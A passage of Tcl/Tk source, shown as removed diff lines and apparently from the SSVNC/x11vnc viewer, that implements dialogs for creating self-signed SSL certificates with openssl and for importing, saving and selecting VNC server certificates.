- if {$crlfil == "" || ! [file exists $crlfil]} {
- catch {.c.crlfil.i configure -state disabled}
- } else {
- catch {.c.crlfil.i configure -state normal}
- }
- return 1
-}
-
-proc show_mycert {} {
- global mycert
- show_cert $mycert
-}
-
-proc show_svcert {} {
- global svcert
- show_cert $svcert
-}
-
-proc show_crlfil {} {
- global crlfil
- show_crl $crlfil
-}
-
-proc set_svcert {{parent "."}} {
- global svcert crtdir
- set idir [get_idir_certs $svcert]
- set t ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set t [tk_getOpenFile -parent $parent -initialdir $idir]
- } else {
- set t [tk_getOpenFile -parent $parent]
- }
- if {$t != ""} {
- set crtdir ""
- set svcert $t
- }
- catch {wm deiconify .c}
- v_svcert
- update
-}
-
-proc set_crtdir {{parent "."}} {
- global svcert crtdir
- set idir ""
- if {$crtdir == "ACCEPTED_CERTS"} {
- set idir [get_idir_certs ""]
- } else {
- set idir [get_idir_certs $crtdir]
- }
- set t ""
- unix_dialog_resize $parent
- if {$idir != ""} {
- set t [tk_chooseDirectory -parent $parent -initialdir $idir]
- } else {
- set t [tk_chooseDirectory -parent $parent]
- }
- if {$t != ""} {
- set svcert ""
- set crtdir $t
- }
- catch {wm deiconify .c}
- update
-}
-
-proc set_createcert_file {} {
- global ccert
- if {[info exists ccert(FILE)]} {
- set idir [get_idir_certs $ccert(FILE)]
- }
- unix_dialog_resize .ccrt
- if {$idir != ""} {
- set t [tk_getSaveFile -parent .ccrt -defaultextension ".pem" -initialdir $idir]
- } else {
- set t [tk_getSaveFile -parent .ccrt -defaultextension ".pem"]
- }
- if {$t != ""} {
- set ccert(FILE) $t
- }
- catch {raise .ccrt}
- update
-}
-
-proc check_pp {} {
- global ccert
- if {$ccert(ENC)} {
- catch {.ccrt.pf.e configure -state normal}
- catch {focus .ccrt.pf.e}
- catch {.ccrt.pf.e icursor end}
- } else {
- catch {.ccrt.pf.e configure -state disabled}
- }
-}
-
-proc get_openssl {} {
- global is_windows
- if {$is_windows} {
- set ossl "openssl.exe"
- } else {
- set ossl "openssl"
- }
-}
-
-proc get_x509_info {crt} {
- set ossl [get_openssl]
- set info ""
- update
- set ph [open "| $ossl x509 -text -fingerprint -in \"$crt\"" "r"]
- while {[gets $ph line] > -1} {
- append info "$line\n"
- }
- close $ph
- return $info
-}
-
-proc do_oss_create {} {
- global is_windows is_win9x
-
- set cfg {
-[ req ]
-default_bits = 2048
-encrypt_key = yes
-distinguished_name = req_distinguished_name
-
-[ req_distinguished_name ]
-countryName = Country Name (2 letter code)
-countryName_default = %CO
-countryName_min = 2
-countryName_max = 2
-
-stateOrProvinceName = State or Province Name (full name)
-stateOrProvinceName_default = %ST
-
-localityName = Locality Name (eg, city)
-localityName_default = %LOC
-
-0.organizationName = Organization Name (eg, company)
-0.organizationName_default = %ON
-
-organizationalUnitName = Organizational Unit Name (eg, section)
-organizationalUnitName_default = %OUN
-
-commonName = Common Name (eg, YOUR name)
-commonName_default = %CN
-commonName_max = 64
-
-emailAddress = Email Address
-emailAddress_default = %EM
-emailAddress_max = 64
-}
-
- global ccert
-
- if {$ccert(FILE) == ""} {
- catch {destroy .c}
- mesg "No output cert file supplied"
- bell
- return
- }
- if {! [regexp {\.pem$} $ccert(FILE)]} {
- append ccert(FILE) ".pem"
- }
- set pem $ccert(FILE)
- regsub {\.pem$} $ccert(FILE) ".crt" crt
-
- if {$ccert(ENC)} {
- if {[string length $ccert(PASS)] < 4} {
- catch {destroy .c}
- mesg "Passphrase must be at least 4 characters long."
- bell
- return
- }
- }
- if {[string length $ccert(CO)] != 2} {
- catch {destroy .c}
- mesg "Country Name must be at exactly 2 characters long."
- bell
- return
- }
- if {[string length $ccert(CN)] > 64} {
- catch {destroy .c}
- mesg "Common Name must be less than 65 characters long."
- bell
- return
- }
- if {[string length $ccert(EM)] > 64} {
- catch {destroy .c}
- mesg "Email Address must be less than 65 characters long."
- bell
- return
- }
-
- foreach t {EM CN OUN ON LOC ST CO} {
-
- set val $ccert($t)
- if {$val == ""} {
- set val "none"
- }
- regsub "%$t" $cfg "$val" cfg
- }
-
- global is_windows
-
- if {$is_windows} {
- # VF
- set tmp "cert.cfg"
- } else {
- set tmp "/tmp/cert.cfg.[tpid]"
- set tmp [mytmp $tmp]
- catch {set fh [open $tmp "w"]}
- catch {exec chmod 600 $tmp}
- if {! [file exists $tmp]} {
- catch {destroy .c}
- mesg "cannot create: $tmp"
- bell
- return
- }
- }
- set fh ""
- catch {set fh [open $tmp "w"]}
- if {$fh == ""} {
- catch {destroy .c}
- mesg "cannot create: $tmp"
- bell
- catch {file delete $tmp}
- return
- }
-
- puts $fh $cfg
- close $fh
-
- set ossl [get_openssl]
-
- set cmd "$ossl req -config $tmp -nodes -new -newkey rsa:2048 -x509 -batch"
- if {$ccert(DAYS) != ""} {
- set cmd "$cmd -days $ccert(DAYS)"
- }
- if {$is_windows} {
- set cmd "$cmd -keyout {$pem} -out {$crt}"
- } else {
- set cmd "$cmd -keyout \"$pem\" -out \"$crt\""
- }
-
- if {$is_windows} {
- set emess ""
- if {$is_win9x} {
- catch {file delete $pem}
- catch {file delete $crt}
- update
- eval exec $cmd &
- catch {raise .}
- set sl 0
- set max 100
- #if {$ccert(ENC)} {
- # set max 100
- #}
- set maxms [expr $max * 1000]
- while {$sl < $maxms} {
- set s2 [expr $sl / 1000]
- mesg "running openssl ... $s2/$max"
- if {[file exists $pem] && [file exists $crt]} {
- after 2000
- break
- }
- after 500
- set sl [expr $sl + 500]
- }
- mesg ""
- } else {
- update
- set rc [catch {eval exec $cmd} emess]
- if {$rc != 0 && [regexp -nocase {error:} $emess]} {
- raise .
- tk_messageBox -type ok -icon error -message $emess -title "OpenSSL req command failed"
- return
- }
- }
- } else {
- set geometry [xterm_center_geometry]
- update
- unix_terminal_cmd $geometry "Running OpenSSL" "$cmd"
- catch {file attributes $pem -permissions go-rw}
- catch {file attributes $crt -permissions go-w}
- }
- catch {file delete $tmp}
-
- set bad ""
- if {! [file exists $pem]} {
- set bad "$pem "
- }
- if {! [file exists $crt]} {
- set bad "$crt"
- }
- if {$bad != ""} {
- raise .
- tk_messageBox -type ok -icon error -message "Not created: $bad" -title "OpenSSL could not create cert"
- catch {raise .c}
- return
- }
-
- if {$ccert(ENC) && $ccert(PASS) != ""} {
- set cmd "$ossl rsa -in \"$pem\" -des3 -out \"$pem\" -passout stdin"
- set ph ""
- set emess ""
- update
- set rc [catch {set ph [open "| $cmd" "w"]} emess]
- if {$rc != 0 || $ph == ""} {
- raise .
- tk_messageBox -type ok -icon error -message $emess -title "Could not encrypt private key"
- catch {file delete $pem}
- catch {file delete $crt}
- return
- }
- puts $ph $ccert(PASS)
- set emess ""
- set rc [catch {close $ph} emess]
- #puts $emess
- #puts $rc
- }
-
- set in [open $crt "r"]
- set out [open $pem "a"]
- while {[gets $in line] > -1} {
- puts $out $line
- }
- close $in
- close $out
-
- catch {raise .c}
- set p .
- if [winfo exists .c] {
- set p .c
- }
-
- set reply [tk_messageBox -parent $p -type yesno -title "View Cert" -message "View Certificate and Info?"]
- catch {raise .c}
- if {$reply == "yes"} {
- set w .view_cert
- toplev $w
- scroll_text $w.f
- set cert ""
- set fh ""
- catch {set fh [open $crt "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- append cert "$line\n"
- }
- catch {close $fh}
- }
-
- global yegg
- set yegg ""
- button $w.b -text Dismiss -command "destroy $w; set yegg 1"
- pack $w.b -side bottom -fill x
- bind $w <Escape> "destroy $w; set yegg 1"
-
- $w.f.t insert end "\n"
- $w.f.t insert end "$crt:\n"
- $w.f.t insert end "\n"
- $w.f.t insert end $cert
- $w.f.t insert end "\n"
-
- set info [get_x509_info $crt]
- $w.f.t insert end $info
-
- pack $w.f -side top -fill both -expand 1
- center_win $w
- catch {raise $w}
- vwait yegg
- catch {raise .c}
- }
-
- set p .
- if [winfo exists .c] {
- set p .c
- }
- set reply [tk_messageBox -parent $p -type yesno -title "View Private Key" -message "View Private Key?"]
- catch {raise .c}
- if {$reply == "yes"} {
- set w .view_key
- toplev $w
- scroll_text $w.f
- set key ""
- set fh [open $pem "r"]
- while {[gets $fh line] > -1} {
- append key "$line\n"
- }
- close $fh
-
- global yegg
- set yegg ""
- button $w.b -text Dismiss -command "destroy $w; set yegg 1"
- pack $w.b -side bottom -fill x
- bind $w <Escape> "destroy $w; set yegg 1"
-
- $w.f.t insert end "\n"
- $w.f.t insert end "$pem:\n"
- $w.f.t insert end "\n"
- $w.f.t insert end $key
- $w.f.t insert end "\n"
-
- pack $w.f -side top -fill both -expand 1
- center_win $w
- catch {raise $w}
- vwait yegg
- catch {raise .c}
- }
-}
-
-proc create_cert {{name ""}} {
-
- toplev .ccrt
- wm title .ccrt "Create SSL Certificate"
-
- global uname
- set h 27
- if [small_height] {
- set h 14
- } elseif {$uname == "Darwin"} {
- set h 20
- }
- scroll_text .ccrt.f 80 $h
-
- set msg {
- This dialog helps you to create a simple Self-Signed SSL certificate.
-
- On Unix the openssl(1) program must be installed and in $PATH.
- On Windows, a copy of the openssl program is provided for convenience.
-
- The resulting certificate files can be used for either:
-
- 1) authenticating yourself (VNC Viewer) to a VNC Server
- or 2) your verifying the identity of a remote VNC Server.
-
- In either case you will need to safely copy one of the generated key or
- certificate files to the remote VNC Server and have the VNC Server use
- it. Or you could send it to the system administrator of the VNC Server.
-
- For the purpose of description, assume that the filename selected in the
- "Save to file" entry is "vnccert.pem". That file will be generated
- by this process and so will the "vnccert.crt" file. "vnccert.pem"
- contains both the Private Key and the Public Certificate. "vnccert.crt"
- only contains the Public Certificate.
-
- For case 1) you would copy "vnccert.crt" to the VNC Server side and
- instruct the server to use it. For x11vnc it would be for example:
-
- x11vnc -sslverify /path/to/vnccert.crt -ssl SAVE ...
-
- (it is also possible to handle many client certs at once in a directory,
- see the -sslverify documentation). Then you would use "vnccert.pem"
- as the MyCert entry in the SSL Certificates dialog.
-
- For case 2) you would copy "vnccert.pem" to the VNC Server side and
- instruct the server to use it. For x11vnc it would be for example:
-
- x11vnc -ssl /path/to/vnccert.pem
-
- Then you would use "vnccert.crt" as the as the ServerCert entry in the
- "SSL Certificates" dialog.
-
-
- Creating the Certificate:
-
- Choose a output filename (ending in .pem) in the "Save to file" entry.
-
- Then fill in the identification information (Country, State or Province,
- etc).
-
- The click on "Create" to generate the certificate files.
-
- Encrypting the Private Key: It is a very good idea to encrypt the
- Private Key that goes in the "vnccert.pem". The downside is that
- whenever that key is used (e.g. starting up x11vnc using it) then
- the passphrase will need to be created. If you do not encrypt it and
- somebody steals a copy of the "vnccert.pem" file then they can pretend
- to be you.
-
- After you have created the certificate files, you must copy and import
- either "vnccert.pem" or "vnccert.pem" to the remote VNC Server and
- also select the other file in the "SSL Certificates" dialog.
- See the description above.
-
- For more information see:
-
- http://www.karlrunge.com/x11vnc/ssl.html
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tunnel-int
-
- The first one describes how to use x11vnc to create Certificate
- Authority (CA) certificates in addition to Self-Signed ones.
-
-
- Tip: if you choose the "Common Name" to be the internet hostname
- (e.g. gateway.mydomain.com) that connections will be made to or
- from that will avoid many dialogs when connecting mentioning that
- the hostname does not match the Common Name.
-}
- .ccrt.f.t insert end $msg
-
- global ccert ccert_init tcert
-
-
- if {! [info exists ccert_init]} {
- set ccert_init 1
- set ccert(CO) "US"
- set ccert(ST) "Massachusetts"
- set ccert(LOC) "Boston"
- set ccert(ON) "My Company"
- set ccert(OUN) "Product Development"
- set ccert(CN) "www.nowhere.none"
- set ccert(EM) "admin@nowhere.none"
- set ccert(DAYS) "730"
- set ccert(FILE) ""
- }
-
- set ccert(ENC) 0
- set ccert(PASS) ""
-
- set tcert(CO) "Country Name (2 letter code):"
- set tcert(ST) "State or Province Name (full name):"
- set tcert(LOC) "Locality Name (eg, city):"
- set tcert(ON) "Organization Name (eg, company):"
- set tcert(OUN) "Organizational Unit Name (eg, section):"
- set tcert(CN) "Common Name (eg, YOUR name):"
- set tcert(EM) "Email Address:"
- set tcert(DAYS) "Days until expiration:"
-
- set idir [get_idir_certs ""]
- if {$name != ""} {
- if {[regexp {/} $name] || [regexp {\.pem$} $name] || [regexp {\.crt$} $name]} {
- set ccert(FILE) $name
- } else {
- set ccert(FILE) "$idir/$name.pem"
- }
- } elseif {$ccert(FILE) == ""} {
- set ccert(FILE) "$idir/vnccert.pem"
- }
-
- button .ccrt.cancel -text "Cancel" -command {destroy .ccrt; catch {raise .c}}
- bind .ccrt <Escape> {destroy .ccrt; catch {raise .c}}
- wm protocol .ccrt WM_DELETE_WINDOW {destroy .ccrt; catch {raise .c}}
-
- button .ccrt.create -text "Generate Cert" -command {destroy .ccrt; catch {raise .c}; do_oss_create}
-
- pack .ccrt.create .ccrt.cancel -side bottom -fill x
-
- set ew 40
-
- set w .ccrt.pf
- frame $w
- checkbutton $w.check -anchor w -variable ccert(ENC) -text \
- "Encrypt Key with Passphrase" -command {check_pp}
-
- entry $w.e -width $ew -textvariable ccert(PASS) -state disabled \
- -show *
-
- pack $w.e -side right
- pack $w.check -side left -expand 1 -fill x
- pack $w -side bottom -fill x
-
- set w .ccrt.fl
- frame $w
- label $w.l -anchor w -text "Save to file:"
-
- entry $w.e -width $ew -textvariable ccert(FILE)
- button $w.b -text "Browse..." -command {set_createcert_file; catch {raise .ccrt}}
- if {$name != ""} {
- $w.b configure -state disabled
- }
-
- pack $w.e -side right
- pack $w.b -side right
- pack $w.l -side left -expand 1 -fill x
- pack $w -side bottom -fill x
-
- set i 0
- foreach t {DAYS EM CN OUN ON LOC ST CO} {
- set w .ccrt.f$i
- frame $w
- label $w.l -anchor w -text "$tcert($t)"
- entry $w.e -width $ew -textvariable ccert($t)
- pack $w.e -side right
- pack $w.l -side left -expand 1 -fill x
- pack $w -side bottom -fill x
- incr i
- }
-
- pack .ccrt.f -side top -fill both -expand 1
-
- center_win .ccrt
-}
-
-proc import_check_mode {w} {
- global import_mode
- if {$import_mode == "paste"} {
- $w.mf.b configure -state disabled
- $w.mf.e configure -state disabled
- $w.plab configure -state normal
- $w.paste.t configure -state normal
- } else {
- $w.mf.b configure -state normal
- $w.mf.e configure -state normal
- $w.plab configure -state disabled
- $w.paste.t configure -state disabled
- }
-}
-
-proc import_browse {par} {
- global import_file
-
- set idir ""
- if {$import_file != ""} {
- set idir [get_idir_certs $import_file]
- }
- unix_dialog_resize $par
- if {$idir != ""} {
- set t [tk_getOpenFile -parent $par -initialdir $idir]
- } else {
- set t [tk_getOpenFile -parent $par]
- }
- if {$t != ""} {
- set import_file $t
- }
- catch {raise $par}
- update
-}
-
-proc import_save_browse {{par ".icrt"}} {
- global import_save_file
-
- set idir ""
- if {$import_save_file != ""} {
- set idir [get_idir_certs $import_save_file]
- }
- if {$idir == ""} {
- set idir [get_idir_certs ""]
- }
- unix_dialog_resize $par
- if {$idir != ""} {
- set t [tk_getSaveFile -parent $par -defaultextension ".crt" -initialdir $idir]
- } else {
- set t [tk_getSaveFile -parent $par -defaultextension ".crt"]
- }
- if {$t != ""} {
- set import_save_file $t
- }
- catch {raise $par}
- update
-}
-
-proc do_save {par} {
- global import_mode import_file import_save_file
- global also_save_to_accepted_certs
-
- if {![info exists also_save_to_accepted_certs]} {
- set also_save_to_accepted_certs 0
- }
-
- if {$import_save_file == "" && ! $also_save_to_accepted_certs} {
- tk_messageBox -parent $par -type ok -icon error \
- -message "No Save File supplied" -title "Save File"
- return
- }
-
- set str ""
- set subject_issuer ""
- if {$import_mode == "save_cert_text"} {
- global save_cert_text
- set str $save_cert_text
- set i 0
- foreach line [split $str "\n"] {
- incr i
- if {$i > 50} {
- break
- }
- if [regexp {^- subject: *(.*)$} $line m val] {
- set subject_issuer "${subject_issuer}subject:$val\n"
- }
- if [regexp {^- (issuer[0-9][0-9]*): *(.*)$} $line m is val] {
- set subject_issuer "${subject_issuer}$is:$val\n"
- }
- if [regexp {^INFO: SELF_SIGNED=(.*)$} $line m val] {
- set subject_issuer "${subject_issuer}SELF_SIGNED:$val\n"
- }
- }
- } elseif {$import_mode == "paste"} {
- set str [$par.paste.t get 1.0 end]
- } else {
- if {! [file exists $import_file]} {
- tk_messageBox -parent $par -type ok -icon error \
- -message "Input file \"$import_file\" does not exist." -title "Import File"
- return
- }
- set fh ""
- set emess ""
- set rc [catch {set fh [open $import_file "r"]} emess]
- if {$rc != 0 || $fh == ""} {
- tk_messageBox -parent $par -type ok -icon error \
- -message $emess -title "Import File: $import_file"
- return
- }
- while {[gets $fh line] > -1} {
- append str "$line\n"
- }
- close $fh
- }
-
- if {! [regexp {BEGIN CERTIFICATE} $str]} {
- tk_messageBox -parent $par -type ok -icon error \
- -message "Import Text does not contain \"BEGIN CERTIFICATE\"" -title "Imported Text"
- return
- }
- if {! [regexp {END CERTIFICATE} $str]} {
- tk_messageBox -parent $par -type ok -icon error \
- -message "Import Text does not contain \"END CERTIFICATE\"" -title "Imported Text"
- return
- }
-
- global is_windows
- set fh ""
- set emess ""
- set deltmp ""
- if {$import_save_file == ""} {
- if {! $is_windows} {
- set deltmp /tmp/import.[tpid]
- } else {
- set deltmp import.[tpid]
- }
- set deltmp [mytmp $deltmp]
- set import_save_file $deltmp
- }
- set rc [catch {set fh [open $import_save_file "w"]} emess]
- if {$rc != 0 || $fh == ""} {
- tk_messageBox -parent $par -type ok -icon error \
- -message $emess -title "Save File: $import_save_file"
- return
- }
- if {! $is_windows} {
- catch {file attributes $import_save_file -permissions go-w}
- if {[regexp {PRIVATE} $str] || [regexp {\.pem$} $import_save_file]} {
- catch {file attributes $import_save_file -permissions go-rw}
- }
- }
-
- puts -nonewline $fh $str
- close $fh
-
- global do_save_saved_it
- set do_save_saved_it 1
-
- if {$also_save_to_accepted_certs} {
- set ossl [get_openssl]
- set fp_txt ""
- set fp_txt [exec $ossl x509 -fingerprint -noout -in $import_save_file]
-
- set adir [get_idir_certs ""]
- set adir "$adir/accepted"
- catch {file mkdir $adir}
-
- set fingerprint ""
- set fingerline ""
-
- set i 0
- foreach line [split $fp_txt "\n"] {
- incr i
- if {$i > 5} {
- break
- }
- if [regexp -nocase {Fingerprint=(.*)} $line mv str] {
- set fingerline $line
- set fingerprint [string trim $str]
- }
- }
-
- set fingerprint [string tolower $fingerprint]
- regsub -all {:} $fingerprint "-" fingerprint
- regsub -all {[\\/=]} $fingerprint "_" fingerprint
-
- if {$subject_issuer == ""} {
- set si_txt ""
- set si_txt [exec $ossl x509 -subject -issuer -noout -in $import_save_file]
- set sub ""
- set iss ""
- foreach line [split $si_txt "\n"] {
- if [regexp -nocase {^subject= *(.*)$} $line mv str] {
- set str [string trim $str]
- set sub $str
- } elseif [regexp -nocase {^issuer= *(.*)$} $line mv str] {
- set str [string trim $str]
- set iss $str
- }
- }
- if {$sub != "" && $iss != ""} {
- set subject_issuer "subject:$sub\nissuer1:$iss\n"
- if {$sub == $iss} {
- set subject_issuer "${subject_issuer}SELF_SIGNED:1\n"
- } else {
- set subject_issuer "${subject_issuer}SELF_SIGNED:0\n"
- }
- }
- }
-
- global vncdisplay
- set from [get_ssh_hp $vncdisplay]
- if {$from == ""} {
- set from [file tail $import_save_file]
- regsub {\..*$} $from "" from
- }
- if {$from == ""} {
- set from "import"
- }
- if [regexp -- {^:[0-9][0-9]*$} $from] {
- set from "listen$from"
- }
- set hp $from
-
- set from [string tolower $from]
- regsub -all {^[+a-z]*://} $from "" from
- regsub -all {:} $from "-" from
- regsub -all {[\\/=]} $from "_" from
- regsub -all {[ ]} $from "_" from
-
- set crt "$adir/$from=$fingerprint.crt"
- catch {file copy -force $import_save_file $crt}
-
- global do_save_saved_hash_it
- set do_save_saved_hash_it 1
- save_hash $crt $adir $hp $fingerline $from $fingerprint $subject_issuer
- }
-
- catch {destroy $par}
- set p .c
- if {![winfo exists .c]} {
- global accepted_cert_dialog_in_progress
- if {! $accepted_cert_dialog_in_progress} {
- if {$deltmp == ""} {
- getcerts
- update
- }
- }
- }
- if {![winfo exists .c]} {
- set p .
- }
- catch {raise .c}
- catch {destroy .scrt}
- if {$deltmp != ""} {
- catch {file delete $deltmp}
- set import_save_file ""
- return;
- }
- tk_messageBox -parent $p -type ok -icon info \
- -message "Saved to file: $import_save_file" -title "Save File: $import_save_file"
-}
-
-proc import_cert {} {
-
- toplev .icrt
- wm title .icrt "Import SSL Certificate"
-
- global scroll_text_focus
- set scroll_text_focus 0
- global uname
- set h 19
- if [small_height] {
- set h 12
- } elseif {$uname == "Darwin"} {
- set h 16
- }
- scroll_text .icrt.f 90 $h
- set scroll_text_focus 1
-
- set msg {
- This dialog lets you import a SSL Certificate by either pasting one in or by
- loading from another file. Choose which input mode you want to use by the toggle
- "Paste / Read from File".
-
- There are two types of files we use 1) Certificate only, and 2) Private Key
- and Certificate.
-
- Type 1) would be used to verify the identity of a remote VNC Server, whereas
- type 2) would be used to authenticate ourselves to the remote VNC Server.
-
- A type 1) by convention ends with file suffix ".crt" and looks like:
-
------BEGIN CERTIFICATE-----
-MIID2jCCAsKgAwIBAgIJALKypfV8BItCMA0GCSqGSIb3DQEBBAUAMIGgMQswCQYD
-(more lines) ...
-TCQ+tbQ/DOiTXGKx1nlcKoPdkG+QVQVJthlQcpam
------END CERTIFICATE-----
-
- A type 2) by convention ends with file suffix ".pem" and looks like:
-
------BEGIN RSA PRIVATE KEY-----
-MIIEpAIBAAKCAQEA4sApd7WaPKQRWnFe9T04D4pglQB0Ti0/dCVHxg8WEVQ8OdcW
-(more lines) ...
-9kBmNotUiTpvRM+e7E/zRemhvY9qraFooqMWzi9JrgYfeLfSvvFfGw==
------END RSA PRIVATE KEY-----
------BEGIN CERTIFICATE-----
-MIID2jCCAsKgAwIBAgIJALKypfV8BItCMA0GCSqGSIb3DQEBBAUAMIGgMQswCQYD
-(more lines) ...
-TCQ+tbQ/DOiTXGKx1nlcKoPdkG+QVQVJthlQcpam
------END CERTIFICATE-----
-
- You do not need to use the ".crt" or ".pem" convention if you do not want to.
-
- First, either paste in the text or set the "Read from File" filename.
-
- Next, set the "Save to File" name to the file where the imported certificate
- will be saved.
-
- Then, click on "Save" to save the imported Certificate.
-
- After you have imported the Certificate (or Key + Certificate), select it to
- use for a connection via the "MyCert" or "ServerCert" dialog.
-}
- .icrt.f.t insert end $msg
-
- global icert import_mode
-
- set import_mode "paste"
-
- set w .icrt.mf
- frame $w
-
- radiobutton $w.p -pady 1 -anchor w -variable import_mode -value paste \
- -text "Paste" -command "import_check_mode .icrt"
-
- radiobutton $w.f -pady 1 -anchor w -variable import_mode -value file \
- -text "Read from File:" -command "import_check_mode .icrt"
-
- global import_file
- set import_file ""
- entry $w.e -width 40 -textvariable import_file
-
- button $w.b -pady 1 -anchor w -text "Browse..." -command {import_browse .icrt}
- pack $w.b -side right
- pack $w.p $w.f -side left
- pack $w.e -side left -expand 1 -fill x
-
- $w.b configure -state disabled
- $w.e configure -state disabled
-
- label .icrt.plab -anchor w -text "Paste Certificate here: (extra blank lines above or below are OK)"
- set h 22
- if [small_height] {
- set h 11
- } elseif {$uname == "Darwin"} {
- set h 11
- }
- scroll_text .icrt.paste 90 $h
-
- button .icrt.cancel -text "Cancel" -command {destroy .icrt; catch {raise .c}}
- bind .icrt <Escape> {destroy .icrt; catch {raise .c}}
- wm protocol .icrt WM_DELETE_WINDOW {destroy .icrt; catch {raise .c}}
-
- button .icrt.save -text "Save" -command {do_save .icrt}
-
- set w .icrt.sf
- frame $w
-
- label $w.l -text "Save to File:" -anchor w
- global import_save_file
- set import_save_file ""
- entry $w.e -width 40 -textvariable import_save_file
- button $w.b -pady 1 -anchor w -text "Browse..." -command import_save_browse
-
- global also_save_to_accepted_certs
- set also_save_to_accepted_certs 0
- checkbutton .icrt.ac -anchor w -variable also_save_to_accepted_certs -text \
- "Also Save to the 'Accepted Certs' directory" -relief raised
-
- pack $w.b -side right
- pack $w.l -side left
- pack $w.e -side left -expand 1 -fill x
-
- pack .icrt.save .icrt.cancel .icrt.ac .icrt.sf .icrt.mf -side bottom -fill x
- pack .icrt.paste .icrt.plab -side bottom -fill x
-
- pack .icrt.f -side top -fill both -expand 1
-
- .icrt.paste.t insert end ""
-
- focus .icrt.paste.t
-
- center_win .icrt
-}
-
-proc save_cert {hp} {
-
- global cert_text
-
- toplev .scrt
- wm title .scrt "Import/Save SSL Certificate"
-
- global scroll_text_focus
- set scroll_text_focus 0
- global uname
-
- global accepted_cert_dialog_in_progress
- set h 20
- if {$accepted_cert_dialog_in_progress} {
- set mode "accepted"
- set h 15
- if [small_height] {
- set h 11
- }
- } else {
- set mode "normal"
- set h 20
- if [small_height] {
- set h 16
- }
- }
- scroll_text .scrt.f 90 $h
-
- set scroll_text_focus 1
-
- set msg1 {
- This dialog lets you import a SSL Certificate retrieved from a VNC server.
-
- Be sure to have verified its authenticity via an external means (checking
- the MD5 hash value sent to you by the administrator, etc)
-
- Set "Save to File" to the filename where the imported cert will be saved.
-
- If you also want the Certificate to be saved to the pool of certs in the
- 'Accepted Certs' directory, select the checkbox. By default all Servers are
- verified against the certificates in this pool.
-
- Then, click on "Save" to save the imported Certificate.
-
- After you have imported the Certificate it will be automatically selected as
- the "ServerCert" for the next connection to this host: %HOST
-
- To make the ServerCert setting to the imported cert file PERMANENT, select
- 'Save' to save it in the profile for this host.
-}
-
- set msg2 {
- This dialog lets you import a SSL Certificate retrieved from a VNC server.
-
- Be sure to have verified its authenticity via an external means (checking
- the MD5 hash value sent to you by the administrator, etc)
-
- It will be added to the 'Accepted Certs' directory. The "Save to File"
- below is already set to the correct directory and file name.
-
- Click on "Save" to add it to the Accepted Certs.
-
- It, and the other certs in that directory, will be used to authenticate
- any VNC Server that has "ACCEPTED_CERTS" as the "CertsDir" value in the
- "Certs..." dialog. This is the default checking policy.
-}
-
- set msg ""
- if {$mode == "normal"} {
- set msg $msg1
- } else {
- set msg $msg2
- }
-
- regsub {%HOST} $msg "$hp" msg
- .scrt.f.t insert end $msg
-
- set w .scrt.mf
- frame $w
-
- global import_file
- set import_file ""
- entry $w.e -width 40 -textvariable import_file
-
- set h 22
- if [small_height] {
- set h 10
- }
- scroll_text .scrt.paste 90 $h
-
- button .scrt.cancel -text "Cancel" -command {destroy .scrt; catch {raise .c}}
- bind .scrt <Escape> {destroy .scrt; catch {raise .c}}
- wm protocol .scrt WM_DELETE_WINDOW {destroy .scrt; catch {raise .c}}
-
- global import_save_file
- if {$mode == "normal"} {
- button .scrt.save -text "Save" -command {do_save .scrt; set svcert $import_save_file}
- } else {
- button .scrt.save -text "Save" -command {do_save .scrt}
- }
-
- if [regexp -nocase -- {ACCEPT} $cert_text] {
- if [regexp -nocase -- {Client certificate} $cert_text] {
- if [regexp -- {^:[0-9][0-9]*$} $hp] {
- if [regexp -nocase {subject=.*CN=([^/][^/]*)/} $cert_text mv0 mv1] {
- regsub -all {[ ]} $mv1 "" mv1
- set hp "$mv1$hp"
- } else {
- set hp "listen$hp"
- }
- }
- }
- }
-
- set w .scrt.sf
- frame $w
-
- label $w.l -text "Save to File:" -anchor w
- set import_save_file "server:$hp.crt"
- global is_windows
- regsub -all {:} $import_save_file "-" import_save_file
-
- set import_save_file [get_idir_certs ""]/$import_save_file
-
- global fetch_cert_filename
- if {$fetch_cert_filename != ""} {
- set import_save_file $fetch_cert_filename
- }
-
- entry $w.e -width 40 -textvariable import_save_file
- button $w.b -pady 1 -anchor w -text "Browse..." -command {import_save_browse .scrt}
-
- pack $w.b -side right
- pack $w.l -side left
- pack $w.e -side left -expand 1 -fill x
-
- global also_save_to_accepted_certs
- set also_save_to_accepted_certs 0
- if [regexp -nocase -- {ACCEPT} $cert_text] {
- if [regexp -nocase -- {Client certificate} $cert_text] {
- set also_save_to_accepted_certs 1
- }
- }
- checkbutton .scrt.ac -anchor w -variable also_save_to_accepted_certs -text \
- "Also Save to the 'Accepted Certs' directory" -relief raised
-
- if {$mode == "normal"} {
- pack .scrt.cancel .scrt.save .scrt.sf .scrt.ac .scrt.mf -side bottom -fill x
- } else {
- pack .scrt.cancel .scrt.save .scrt.sf .scrt.mf -side bottom -fill x
- }
- pack .scrt.paste -side bottom -fill x
-
- pack .scrt.f -side top -fill both -expand 1
-
- set text ""
- set on 0
- foreach line [split $cert_text "\n"] {
- if [regexp -- {-----BEGIN CERTIFICATE-----} $line] {
- incr on
- }
- if {$on != 1} {
- continue;
- }
- append text "$line\n"
- if [regexp -- {-----END CERTIFICATE-----} $line] {
- set on 2
- }
- }
- global save_cert_text
- set save_cert_text $text
- .scrt.paste.t insert end "$text"
- global import_mode
- set import_mode "save_cert_text"
-
- focus .scrt.paste.t
-
- center_win .scrt
-}
-
-
-proc getcerts {} {
- global mycert svcert crtdir crlfil
- global use_ssh use_sshssl
- toplev .c
- wm title .c "SSL Certificates"
- frame .c.mycert
- frame .c.svcert
- frame .c.crtdir
- frame .c.crlfil
- label .c.mycert.l -anchor w -width 12 -text "MyCert:"
- label .c.svcert.l -anchor w -width 12 -text "ServerCert:"
- label .c.crtdir.l -anchor w -width 12 -text "CertsDir:"
- label .c.crlfil.l -anchor w -width 12 -text "CRL File:"
-
- entry .c.mycert.e -width 32 -textvariable mycert -vcmd v_mycert
- entry .c.svcert.e -width 32 -textvariable svcert -vcmd v_svcert
- entry .c.crtdir.e -width 32 -textvariable crtdir
- entry .c.crlfil.e -width 32 -textvariable crlfil -vcmd v_crlfil
-
- bind .c.mycert.e <Enter> {.c.mycert.e validate}
- bind .c.mycert.e <Leave> {.c.mycert.e validate}
- bind .c.svcert.e <Enter> {.c.svcert.e validate}
- bind .c.svcert.e <Leave> {.c.svcert.e validate}
-
- button .c.mycert.b -text "Browse..." -command {set_mycert .c; catch {raise .c}}
